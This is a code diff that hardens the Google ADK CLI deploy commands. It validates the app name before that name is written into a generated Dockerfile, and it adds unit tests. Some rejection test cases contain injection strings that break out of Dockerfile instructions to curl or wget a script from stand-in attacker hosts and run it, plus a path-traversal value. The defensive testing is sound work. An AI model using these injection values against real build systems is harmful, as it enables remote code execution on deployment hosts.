diff --git a/src/google/adk/cli/cli_deploy.py b/src/google/adk/cli/cli_deploy.py index db4172f922..473fbd6e31 100644 --- a/src/google/adk/cli/cli_deploy.py +++ b/src/google/adk/cli/cli_deploy.py @@ -17,6 +17,7 @@ import importlib import json import os +import re import shutil import subprocess import sys @@ -417,6 +418,34 @@ def _resolve_project(project_in_option: Optional[str]) -> str: return project +# app_name is interpolated verbatim into the generated Dockerfile (COPY/RUN +# instructions and the shell-form CMD) by _DOCKERFILE_TEMPLATE. It defaults to +# the basename of the agent source folder, so its value can come from a +# directory name the deploying developer did not choose (a cloned or shared +# agent template). Restrict it to a plain identifier before it reaches the +# template so it cannot break out of a Dockerfile instruction or the CMD shell. +_APP_NAME_PATTERN: Final[re.Pattern[str]] = re.compile(r'^[A-Za-z0-9_-]{1,63}$') + + +def _validate_app_name(app_name: str) -> None: + """Validates the deploy app name before it is written into a Dockerfile. + + Args: + app_name: The app name, either passed via --app_name or derived from the + agent source folder basename. + + Raises: + click.ClickException: If the app name is not a plain identifier. + """ + if not _APP_NAME_PATTERN.match(app_name): + raise click.ClickException( + f'Invalid app name {app_name!r}. The app name is used in the generated' + ' Dockerfile and must contain only letters, digits, hyphens and' + ' underscores (1-63 characters). Pass a valid --app_name, or rename the' + ' agent folder, since its basename is used when --app_name is omitted.' + ) + + def _validate_gcloud_extra_args( extra_gcloud_args: Optional[tuple[str, ...]], adk_managed_args: set[str] ) -> None: @@ -706,6 +735,7 @@ def to_cloud_run( execution. """ app_name = app_name or os.path.basename(agent_folder) + _validate_app_name(app_name) if parse(adk_version) >= parse('1.3.0') and not use_local_storage: session_service_uri = session_service_uri or 'memory://' artifact_service_uri = artifact_service_uri or 'memory://' @@ -952,6 +982,7 @@ def to_agent_engine( paths to stage alongside the agent and make importable in the image. """ app_name = os.path.basename(agent_folder) + _validate_app_name(app_name) display_name = display_name or app_name parent_folder = os.path.dirname(agent_folder) if adk_app_object: @@ -1375,6 +1406,7 @@ def to_gke( click.echo('--------------------------------------------------\n') app_name = app_name or os.path.basename(agent_folder) + _validate_app_name(app_name) if parse(adk_version) >= parse('1.3.0') and not use_local_storage: session_service_uri = session_service_uri or 'memory://' artifact_service_uri = artifact_service_uri or 'memory://' diff --git a/tests/unittests/cli/utils/test_cli_deploy.py b/tests/unittests/cli/utils/test_cli_deploy.py index 5546f816cc..850b0a4f8d 100644 --- a/tests/unittests/cli/utils/test_cli_deploy.py +++ b/tests/unittests/cli/utils/test_cli_deploy.py @@ -444,6 +444,40 @@ def mock_subprocess_run(*args, **kwargs): # _validate_agent_import tests +class TestValidateAppName: + """Tests for the _validate_app_name function.""" + + @pytest.mark.parametrize( + "app_name", + ["ssr", "my-agent", "my_agent", "agent2", "A", "a" * 63], + ) + def test_accepts_plain_identifiers(self, app_name: str) -> None: + # Should not raise. + cli_deploy._validate_app_name(app_name) + + @pytest.mark.parametrize( + "app_name", + [ + # Breaks out of a Dockerfile instruction. + 'myagent"\nRUN curl https://attacker.example/x.sh | sh\n#', + # Breaks out of the shell-form CMD. + "x ; wget http://attacker/c2 -O /tmp/c2 ; sh /tmp/c2 #", + # Quotes and spaces. + 'a" "b', + "has space", + # Empty and over-long. + "", + "a" * 64, + # Path traversal shape. + "../evil", + ], + ) + def test_rejects_unsafe_names(self, app_name: str) -> None: + with pytest.raises(click.ClickException) as exc_info: + cli_deploy._validate_app_name(app_name) + assert "Invalid app name" in str(exc_info.value) + + class TestValidateAgentImport: """Tests for the _validate_agent_import function."""